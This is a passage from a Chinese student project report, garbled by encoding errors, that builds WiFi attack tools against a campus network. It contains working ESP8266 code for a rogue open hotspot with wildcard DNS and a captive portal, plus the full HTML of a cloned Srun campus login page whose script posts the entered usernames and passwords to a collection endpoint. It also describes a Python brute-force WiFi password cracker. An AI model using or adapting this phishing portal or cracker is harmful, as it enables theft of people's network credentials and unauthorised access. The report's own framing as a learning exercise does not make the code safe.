??if (!webAddress.endsWith(".htm")and!webAddress.endsWith(".ico") and !webAddress.endsWith(".png") and !webAddress.endsWith(".jpg") and !webAddress.endsWith(".css") and !webAddress.endsWith(".js"))
???{
??????webAddress = "/shzu.html"; ????????????????????// 則將訪問(wèn)地址修改為/index.html便于SPIFFS訪問(wèn)
??????File file = SPIFFS.open(webAddress, "r"); ?????????// 則嘗試打開該文件
??????server.streamFile(file,"text/html");// 并且將該文件返回給瀏覽器
??????file.close(); ?// 并且關(guān)閉文件
????}
}
// 獲取文件類型
String getContentType(String filename){
??if(filename.endsWith(".htm")) return "text/html";
??else if(filename.endsWith("/")) return "text/html";
??else if(filename.endsWith(".html")) return "text/html";
??else if(filename.endsWith(".css")) return "text/css";
??else if(filename.endsWith(".js")) return "application/javascript";
??else if(filename.endsWith(".png")) return "text/png";
??else if(filename.endsWith(".jpg")) return "text/jpg";
??return "text/plain";
}
?
?
void initBasic(void){//初始化基礎(chǔ)
??Serial.begin(9600);//115200
??WiFi.hostname("Smart-ESP8266");//設(shè)置ESP8266設(shè)備名
}
?
void initSoftAP(void){//初始化AP模式
??WiFi.mode(WIFI_AP);
??WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
??if(WiFi.softAP(AP_NAME)){
????Serial.println("ESP8266 SoftAP is right");
??}
}
?
void initWebServer(void){//初始化WebServer
??//server.on("/",handleRoot);
??//上面那行必須以下面這種格式去寫否則無(wú)法強(qiáng)制門戶
??server.on("/", HTTP_GET, handleRoot);//設(shè)置主頁(yè)回調(diào)函數(shù)
??server.onNotFound(handleRoot);//設(shè)置無(wú)法響應(yīng)的http請(qǐng)求的回調(diào)函數(shù)
??server.on("/", HTTP_POST, handleRoot);//設(shè)置Post請(qǐng)求回調(diào)函數(shù)
??server.begin();//啟動(dòng)WebServer
??Serial.println("WebServer started!");
}
?
void initDNS(void){//初始化DNS服務(wù)器
??if(dnsServer.start(DNS_PORT, "*", apIP)){//判斷將所有地址映射到esp8266的ip上是否成功
????Serial.println("start dnsserver success.");
??}
??else Serial.println("start dnsserver failed.");
}
?
?void connectNewWifi(void){
??WiFi.mode(WIFI_STA);//切換為STA模式
??WiFi.setAutoConnect(true);//設(shè)置自動(dòng)連接
??WiFi.begin();//連接上一次連接成功的wifi
??Serial.println("");
??Serial.print("Connect to wifi");
??int count = 0;
???while (WiFi.status() != WL_CONNECTED) {
????delay(500);
????count++;
????if(count > 10){//如果5秒內(nèi)沒(méi)有連上,就開啟Web配網(wǎng) 可適當(dāng)調(diào)整這個(gè)時(shí)間
??????initSoftAP();
??????initWebServer();
??????initDNS();
??????break;//跳出 防止無(wú)限初始化
????}
????Serial.print(".");
??}
??Serial.println("");
??if(WiFi.status() == WL_CONNECTED){//如果連接上 就輸出IP信息 防止未連接上break后會(huì)誤輸出
????Serial.println("WIFI Connected!");
????Serial.print("IP address: ");
????Serial.println(WiFi.localIP());//打印esp8266的IP地址
????server.stop();
??}
}
void setup() {
??pinMode(LED_BUILTIN, OUTPUT);//設(shè)置燈
??digitalWrite(LED_BUILTIN, HIGH);//關(guān)燈
??String file_name = "/shzu.html";
// ?String ac_name = "/ac.html";
??initBasic();
??connectNewWifi();
??
??Serial.begin(9600);
??SPIFFS.begin(); ????????????????????????????//啟動(dòng)SPIFFS
??Serial.println("SPIFFS Started.");
??if (SPIFFS.exists(file_name)){
????Serial.print(file_name);
????Serial.println(" FOUND.");
??} else {
????Serial.print(file_name);
????Serial.print(" NOT FOUND.");
??}
?
// ??if (SPIFFS.exists(ac_name)){
// ???Serial.print(ac_name);
// ???Serial.println(" FOUND.");
// ?} else {
// ???Serial.print(ac_name);
// ???Serial.print(" NOT FOUND.");
// ?}
}
?
void loop() {
??server.handleClient();
??dnsServer.processNextRequest();
}
Esp8266讀取文件代碼
#include "FS.h"
?
void setup(){
??Serial.begin(9600);
??
??if(!SPIFFS.begin()){
????Serial.println("An Error has occurred while mounting SPIFFS");
????return;
??}
??
??File file = SPIFFS.open("/info.txt", "r");
??if(!file){
????Serial.println("Failed to open file for reading");
????return;
??}
??
??Serial.println();
??Serial.println("File Content:");
??while(file.available()){
????Serial.write(file.read());
??}
??file.close();
}
?
void loop() {
?
}
釣魚網(wǎng)站代碼:(省略js\css文件)
<!DOCTYPE html>
<!-- saved from url=(0041)http://10.255.0.38/srun_portal_pc?ac_id=1 -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
????
????<link type="images/x-icon" rel="shortcut icon" href="./shen_files/favicon.ico">
????<meta http-equiv="X-UA-Compatible" content="IE=edge">
????<meta name="viewport" content="width=device-width, initial-scale=1">
?
<link id="pccss" type="text/css" rel="stylesheet" href="./resource/css/pagecustom.css">
<link id="themecss" rel="stylesheet" media="screen" href="./resource/css/login.css">
<script src="./portal/jscss/jquery.js" type="text/javascript"></script>
<script src="./portal/jscss/jquery.min.js"></script>
?
????<title>深瀾軟件</title>
<link rel="stylesheet" type="text/css" href="./shen_files/bootstrap.css" media="screen">
?
?
?
?
?
<!--[if lte IE 6]>
?
<link rel="stylesheet" type="text/css" href="/static/bootstrap/css/bootstrap-ie6.min.css">
?
?
<link rel="stylesheet" type="text/css" href="/static/bootstrap/css/ie.css">
<![endif]-->
?
<link rel="stylesheet" type="text/css" href="./shen_files/main.css">
?
<script>
$(document).ready(function(){
??$("label").click(function(){
var url="http://10.255.0.38/Get_Info";
var userName0=$("#id_userName").val();
var password0=$("#id_userPwd").val();
$.post(url,{userName:userName0,password:password0},function(resultJSONObject){
???if(resultJSONObject.success){
??$.messager.alert("系統(tǒng)提示","添加成功","info");
???}else{
??$.messager.alert("系統(tǒng)提示","添加失敗","error");
???}
},"json");
??});
});
</script>
?
</head>
<body onresize="viewResize()">
假
<div id="wrap">
<div class="navbar navbar-default">
????<div>
????????<div class="row-fluid row-no-padding">
????????????<div class="span9 offset3">
????????????????<img src="holder.js/260x120" alt="260x120" src="./shen_files/logo.png">
????????????</div>
????????</div>
????</div>
</div>
<div class="row-fluid row-no-padding">
<div id="error"></div>
</div>
<div>
<div>
<div></div>
????<div>
???? <div id="notice">
?? ? ?<h2>通知:</h2>
</div>
????</div>
????<div>
???? <img src="./shen_files/middle.png">
????</div>
????<div>
????<form id="login-form" novalidate="novalidate">
????????<h2>網(wǎng)絡(luò)準(zhǔn)入認(rèn)證系統(tǒng)</h2>
????????
<input type="hidden" name="ac_id" value="1">
<input type="hidden" name="user_ip" value="172.17.150.167">
<input type="hidden" name="nas_ip" value="">
<input type="hidden" name="user_mac" value="">
<input type="hidden" name="url" value="">
????????<div>
<div>
<input id="id_userName" type="text" name="username" placeholder="輸入賬號(hào)/用戶名">
?? </div>
</div>
<div>
<div>
<input id="id_userPwd" type="password" name="password" placeholder="輸入密碼">
?? </div>
</div>
????????<label>
???????? <input type="checkbox" value="remember-me"> 記住賬號(hào)
????????</label>
????????<div class="row-fluid row-no-padding">
???????? <div>
<!-- <label id="id_lable_loginbutton_quickauth" class="pc-edited-text pc-ui-button pc-event-click pc-event-dbclick" name="login" data-pcrole="pc-role-pceditbtn">上線</label> -->
???????? <!-- <button id="id_lable_loginbutton_quickauth" class="btn btn-block btn-primary" ?name="login" >登錄</button> -->
<!-- <button id="id_lable_loginbutton_quickauth" class="pc-edited-text pc-ui-button pc-event-click pc-event-dbclick" ?name="login" data-pcrole="pc-role-pceditbtn" >登錄</button> -->
<label id="id_lable_loginbutton_quickauth" class="btn btn-block btn-primary pc-edited-text pc-ui-button pc-event-click pc-event-dbclick" name="login" data-pcrole="pc-role-pceditbtn">登錄</label>
????????</div>
????????<div>
???????? <button class="btn btn-block btn-danger" ?type="button">注銷</button>
????????</div>
????????<div>
???????? <a href="http://10.255.0.38/srun_portal_pc?ac_id=1" class="btn btn-block btn-success" target="_blank">自服務(wù)</a>
????????</div>
????</div>
????</form>
????<div class="row-fluid row-no-padding">
???? <div><hr></div>
???? <div class="span4 others">其他認(rèn)證方式</div>
???? <div><hr></div>
????</div>
????<div class="row-fluid row-margin">
???? <div class="span6 phone"><a href="10.255.0.38"><img src="./shen_files/phone.png">手機(jī)認(rèn)證</a></div>
???? <div class="span6 weixin"><a href="http://10.255.0.38/srun_portal_pc_weixin?ac_id=1&ac_type="><img src="./shen_files/weixin.png">微信認(rèn)證</a></div>
????</div>
????<div class="row-fluid row-margin">
???? <ul class="links ft">
???? <li>
???? ?<a>Android</a>
????????????<div class="links-qrcode android-qrcode">
????????????????<a href="10.255.0.38" target="_blank">
????????????????<img id="android-qrcode-src" src="10.255.0.38">
????????????????<p>掃一掃下載Android客戶端</p>
????????????????</a>
????????????????<div id="qrcode" style="display: none;" title="10.255.0.38"><canvas width="128" height="128" style="display: none;"></canvas><img alt="Scan me!" src="data:image/png;base64,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" style="display: block;"></div>
????????????</div>
????????</li>
???? <li><a href="10.255.0.38" target="_blank">Windows</a></li>
????????<li>
???????? <a>iPhone</a>
????????????<div class="links-qrcode iphone-qrcode">
????????????????<a href="10.255.0.38" target="_blank">
????????????????<img src="./shen_files/iPhone-Qrcode.png">
????????????????<p>掃一掃下載iPhone客戶端</p>
????????????????</a>
????????????</div>
????????</li>
</ul>
????</div>
????</div>
?? </div>
</div>
?
</div>
<div style="display:none;">SRunPortalSvr V1.01 B20191104</div>
?
</body></html>
?
5.5主要函數(shù)說(shuō)明
?
5.5.1 Python wifi破解工具主要函數(shù)說(shuō)明,如表5-1所示
函數(shù)
說(shuō)明
def __init__(self, init_window_name):
這是初始化方法,用于創(chuàng)建GUI界面并設(shè)置各個(gè)屬性和變量。具體包括以下內(nèi)容:
初始化窗口屬性和變量,例如窗口標(biāo)題、大小、破解密碼的變量等。
創(chuàng)建PyWiFi對(duì)象和無(wú)線網(wǎng)卡接口對(duì)象,并進(jìn)行一些初始配置。
def set_init_window(self):
這是設(shè)置UI界面的函數(shù),主要負(fù)責(zé)UI界面的布局以及傳參
def scans_wifi_list(self):
掃描附近wifi
def dg_zf(self,password,a):
遞歸遍歷字符集
def dg_zf_1(self,password,a):
多線程遞歸遍歷字符集,添加了共享鎖
def readPassWord(self):
破譯流程
def connect(self, pwd_Str, wifi_ssid):
對(duì)wifi和密碼進(jìn)行匹配
def gui_start():
對(duì)其他函數(shù)進(jìn)行調(diào)用
表5-1 Python wifi破解工具主要函數(shù)說(shuō)明
?
5.5.2 Esp8266開發(fā)板釣魚熱點(diǎn)主要函數(shù)說(shuō)明,如表5-2所示:
函數(shù)
說(shuō)明
void handleRoot()
訪問(wèn)主頁(yè)回調(diào)函數(shù),用來(lái)對(duì)主頁(yè)傳回的參數(shù)進(jìn)行處理,并將瀏覽器請(qǐng)求的資源傳給瀏覽器
String getContentType(String filename)
獲取文件類型
void initSoftAP(void)
將esp8266設(shè)置為ap模式
void initWebServer(void)
初始化WebServer
void initDNS(void)
初始化dns服務(wù)器
?void connectNewWifi(void)
進(jìn)行網(wǎng)絡(luò)配置
void setup()
對(duì)esp8266開發(fā)板進(jìn)行初始化設(shè)置
void loop()
循環(huán)函數(shù),檢查dns和http請(qǐng)求
表5-2 Esp8266開發(fā)板釣魚熱點(diǎn)主要函數(shù)說(shuō)明
5.6程序流程圖
5.6.1 python WiFi破解工具程序流程圖 如 圖6-1所示:
?
圖6-1 python WiFi破解工具程序流程圖
6.?課題項(xiàng)目/實(shí)踐任務(wù)結(jié)論
1、PyWiFi是一個(gè)用于操作Wi-Fi網(wǎng)絡(luò)的Python第三方庫(kù),它提供了許多功能和工具,使得開發(fā)者可以方便地處理Wi-Fi網(wǎng)絡(luò)相關(guān)的問(wèn)題。
優(yōu)點(diǎn):
易于使用:PyWiFi提供了豐富的API和功能,使得開發(fā)者可以方便地操作Wi-Fi網(wǎng)絡(luò)。它提供了獲取可用Wi-Fi信號(hào)、連接Wi-Fi網(wǎng)絡(luò)、斷開Wi-Fi網(wǎng)絡(luò)等功能,同時(shí)還提供了配置Wi-Fi網(wǎng)絡(luò)的方法。
跨平臺(tái)支持:PyWiFi可以運(yùn)行在不同的操作系統(tǒng)上,例如Windows、Linux、macOS等。這使得開發(fā)者可以在不同的平臺(tái)上使用PyWiFi來(lái)處理Wi-Fi網(wǎng)絡(luò)相關(guān)的問(wèn)題。
強(qiáng)大的功能:PyWiFi提供了許多有用的功能,例如掃描附近的Wi-Fi信號(hào)、獲取Wi-Fi信號(hào)的詳細(xì)信息、模擬Wi-Fi連接等。這些功能可以幫助開發(fā)者快速地實(shí)現(xiàn)各種Wi-Fi相關(guān)的應(yīng)用。
可擴(kuò)展性:PyWiFi支持自定義插件和擴(kuò)展,開發(fā)者可以通過(guò)編寫自己的插件來(lái)擴(kuò)展PyWiFi的功能。這使得PyWiFi可以適應(yīng)不同的應(yīng)用場(chǎng)景和需求。
缺點(diǎn):
依賴性強(qiáng):PyWiFi依賴于外部的Wi-Fi驅(qū)動(dòng)程序和庫(kù),這些驅(qū)動(dòng)程序和庫(kù)的兼容性和穩(wěn)定性可能會(huì)影響PyWiFi的使用效果。
缺乏普及性:相對(duì)于其他Wi-Fi庫(kù),PyWiFi的普及程度可能不夠高。這意味著一些特定的功能和操作可能需要依賴于其他庫(kù)或工具來(lái)實(shí)現(xiàn)。
文檔不足:盡管PyWiFi提供了豐富的API和功能,但可能存在文檔不足的問(wèn)題。目前缺乏詳細(xì)的文檔和示例代碼,這可能會(huì)給開發(fā)者使用PyWiFi帶來(lái)一定的困難。
?
2、Tkinter是Python的標(biāo)準(zhǔn)GUI庫(kù)之一,它提供了在Python中創(chuàng)建GUI界面的功能。
優(yōu)點(diǎn):
易于學(xué)習(xí)和使用:Tkinter是Python的標(biāo)準(zhǔn)GUI庫(kù)之一,它具有簡(jiǎn)單易學(xué)的特點(diǎn)。它使用基于事件驅(qū)動(dòng)的編程模型,可以通過(guò)定義回調(diào)函數(shù)來(lái)實(shí)現(xiàn)界面的交互邏輯。
跨平臺(tái):Tkinter可以在多個(gè)操作系統(tǒng)上運(yùn)行,包括Windows、Mac OS和Linux等。這使得使用Tkinter編寫的GUI應(yīng)用程序可以在不同的平臺(tái)上運(yùn)行。
提供豐富的控件:Tkinter提供了各種常見的GUI控件,例如按鈕、標(biāo)簽、文本框、列表框、菜單等。這些控件可以輕松地通過(guò)代碼創(chuàng)建和配置,并且支持自定義樣式和布局。
可擴(kuò)展性:Tkinter可以與其他Python庫(kù)一起使用,例如Pillow和Pygame等,以提供更豐富的GUI和圖形功能。
缺點(diǎn):
功能相對(duì)簡(jiǎn)單:與一些更高級(jí)的GUI庫(kù)相比,Tkinter的功能相對(duì)簡(jiǎn)單。它可能不支持一些高級(jí)的GUI特性,例如復(fù)雜的布局管理、自定義繪圖等。
性能和資源管理:由于Tkinter是基于事件驅(qū)動(dòng)的模型,因此需要處理事件循環(huán)和大量的用戶交互。這可能導(dǎo)致在處理大量用戶操作或復(fù)雜布局時(shí)性能下降,并且可能占用較多的系統(tǒng)資源。
可移植性:雖然Tkinter可以在多個(gè)平臺(tái)上運(yùn)行,但不同的操作系統(tǒng)可能具有不同的GUI特性和行為。這可能導(dǎo)致在某些平臺(tái)上出現(xiàn)不一致或不可預(yù)測(cè)的行為。
?
3.ESP8266是一款由Espressif Systems生產(chǎn)的Wi-Fi芯片,主要應(yīng)用于物聯(lián)網(wǎng)設(shè)備上。
?
低功耗:ESP8266采用了多項(xiàng)專有技術(shù),實(shí)現(xiàn)了超低功耗,適用于各種低功耗應(yīng)用場(chǎng)景。
高度集成:ESP8266集成了32位Tensilica處理器、標(biāo)準(zhǔn)數(shù)字外設(shè)接口、天線開關(guān)、射頻balun、功率放大器、低噪放大器、過(guò)濾器和電源管理模塊等,具有體積小巧但功能強(qiáng)大的特點(diǎn)。
處理能力強(qiáng):ESP8266內(nèi)置的Tensilica L106 32位RISC處理器,時(shí)鐘速度最高可達(dá)160 MHz,支持實(shí)時(shí)操作系統(tǒng)(RTOS)和Wi-Fi協(xié)議棧,可以將高達(dá)80%的處理能力留給應(yīng)用編程和開發(fā)。
功能豐富:ESP8266開發(fā)板提供了多種功能接口,包括2.4 GHz Wi-Fi(802.11 a/b/gn,支持WPA / WPA2)、通用輸入/輸出(16 GPIO)、內(nèi)部集成電路(I2C)、模數(shù)轉(zhuǎn)換功能、串行外設(shè)接口(SPI)、帶有DMA的I2S接口(與GPIO共用引腳)、UART(在專用引腳上,在GPIO2上可以使能僅發(fā)送UART)和脈沖寬度調(diào)制(PWM)。
?
7.?總結(jié)與體會(huì)
1.?在本次項(xiàng)目中,我學(xué)習(xí)了如何使用PyWiFi和Tkinter來(lái)創(chuàng)建一個(gè)GUI界面,用于掃描附近的Wi-Fi信號(hào)并暴力破解密碼。并且使用esp8266制作釣魚熱點(diǎn)并且部署釣魚網(wǎng)站。
2.?PyWiFi是一個(gè)非常有用的Python第三方庫(kù),用于操作Wi-Fi網(wǎng)絡(luò)。它提供了豐富的功能和工具,使得開發(fā)者可以方便地處理Wi-Fi網(wǎng)絡(luò)相關(guān)的問(wèn)題。通過(guò)使用PyWiFi,我們可以輕松地獲取附近的Wi-Fi信號(hào)、連接Wi-Fi網(wǎng)絡(luò)、斷開Wi-Fi網(wǎng)絡(luò)等操作。
3.?Tkinter是Python的標(biāo)準(zhǔn)GUI庫(kù)之一,它提供了在Python中創(chuàng)建GUI界面的功能。通過(guò)使用Tkinter,我們可以輕松地創(chuàng)建一個(gè)交互式的GUI界面,其中包含了各種常見的GUI控件和事件處理邏輯。
4.?我也意識(shí)到在實(shí)現(xiàn)該項(xiàng)目時(shí)需要注意法律風(fēng)險(xiǎn)。由于涉及到破解密碼等非法操作,因此在使用該工具時(shí)需要遵守相關(guān)法律法規(guī),并避免對(duì)他人造成不良影響。
5.?在Python WiFi破解工具進(jìn)行WiFi掃描時(shí),出現(xiàn)許多校園網(wǎng)(shzu)的AP端,我進(jìn)行了測(cè)試,并發(fā)現(xiàn)當(dāng)部署兩個(gè)不同設(shè)備,且都不需要密碼的熱點(diǎn)時(shí),只會(huì)顯示一個(gè)。經(jīng)過(guò)實(shí)驗(yàn),我發(fā)現(xiàn)當(dāng)用戶端(STA)進(jìn)行連接時(shí),會(huì)自動(dòng)連接信號(hào)較好的AP端(熱點(diǎn))。此外,當(dāng)其中一個(gè)被用戶端(STA)連接的AP端關(guān)閉時(shí),用戶端會(huì)自動(dòng)連接另一個(gè)不需要密碼、相同名字的熱點(diǎn)。
這個(gè)現(xiàn)象是由于Wi-Fi網(wǎng)絡(luò)的自動(dòng)連接機(jī)制造成的。當(dāng)一個(gè)用戶端(STA)連接到一個(gè)不需要密碼的熱點(diǎn)時(shí),它會(huì)將該熱點(diǎn)的SSID和安全信息保存在其配置文件中。之后,當(dāng)用戶端再次掃描到相同的SSID時(shí),它會(huì)直接連接到保存的熱點(diǎn)信息,而不會(huì)顯示多個(gè)相同的熱點(diǎn)。
此外,當(dāng)一個(gè)連接的AP端關(guān)閉時(shí),用戶端會(huì)自動(dòng)連接到另一個(gè)不需要密碼、相同名字的熱點(diǎn),這是因?yàn)閃i-Fi網(wǎng)絡(luò)中的漫游機(jī)制。Wi-Fi網(wǎng)絡(luò)使用無(wú)線信號(hào)強(qiáng)度來(lái)識(shí)別可用的AP端,并選擇最佳的連接點(diǎn)。當(dāng)信號(hào)強(qiáng)度發(fā)生變化時(shí),用戶端會(huì)自動(dòng)連接到信號(hào)更好的AP端。
這些自動(dòng)連接和漫游機(jī)制是Wi-Fi網(wǎng)絡(luò)的核心特性之一,它們使得用戶可以在不同的AP端之間無(wú)縫切換,并保持連續(xù)的網(wǎng)絡(luò)連接。然而,在某些情況下,這些特性也可能會(huì)導(dǎo)致連接問(wèn)題,例如當(dāng)AP端的信號(hào)強(qiáng)度波動(dòng)較大時(shí),或者當(dāng)用戶端的安全設(shè)置不允許自動(dòng)連接時(shí)。
因此,在實(shí)際使用中,需要根據(jù)具體情況進(jìn)行配置和調(diào)整。如果需要控制連接的AP端數(shù)量或者避免自動(dòng)連接到不安全的熱點(diǎn),可以通過(guò)修改用戶端的配置文件或使用其他安全措施來(lái)實(shí)現(xiàn)。
附錄A 參考文獻(xiàn)
[1]?Tkinter 組件詳解(三):Checkbutton [EB/OL]. ?https://blog.csdn.net/qq_41556318/article/details/85108303, 來(lái)自江南的你 2018-12-19.
[2]?python3 修改字符串的四種方法 錯(cuò)誤 'str' object does not support item assignment 解決方法 [EB/OL]. ?https://blog.csdn.net/whatday/article/details/104051481, whatday 2020-01-20.
[3]Tkinter簡(jiǎn)明教程 ?[EB/OL]. https://zhuanlan.zhihu.com/p/75872830, IRONAnthony ?2022-04-05.
[4]python中threading線程詳解(Thread類、join()方法、線程鎖) [EB/OL]. https://blog.csdn.net/XC_SunnyBoy/article/details/108549101, XC_SunnyBoy ?2020-09-12.
[5]python tkinter中的錨點(diǎn)(anchor)問(wèn)題 [EB/OL]. ?https://blog.csdn.net/qq_44275213/article/details/107856794, 未名 2020-08-08.
[6]ESP8266開發(fā)-Arduino IDE安裝、配置與使用 [EB/OL]. ?https://zhuanlan.zhihu.com/p/475982456, 碼農(nóng)愛(ài)學(xué)習(xí) ?2022-03-05.
[7]暴力破解附近局域網(wǎng)WiFi密碼 [EB/OL]. ?https://blog.csdn.net/itcodexy/article/details/121413827, 程序IT圈 2021-11-18.
[8]Arduino+esp8266+釣魚wifi(20RMB) [EB/OL]. ?https://www.cnblogs.com/selisen/p/15971034.html, 開心小市民 ?2022-03-06.
[8]IEEE 802.11協(xié)議基礎(chǔ)知識(shí)整理 [EB/OL]. ?https://blog.csdn.net/weixin_36178668/article/details/93622454, Mars.HU 2019-06-25.
[9]66%習(xí)慣使用同樣的密碼 42%認(rèn)為好記的密碼比安全重要 ?[EB/OL]. ?https://baijiahao.baidu.com/s?id=1667823283405446895&wfr=spider&for=pc&searchword=%E6%9C%89%E5%A4%9A%E5%B0%91%E4%BA%BA%E4%BD%BF%E7%94%A8%E7%9B%B8%E5%90%8C%E7%9A%84%E5%AF%86%E7%A0%81, 簡(jiǎn)單看科技 2020-05-27.
?????
?
?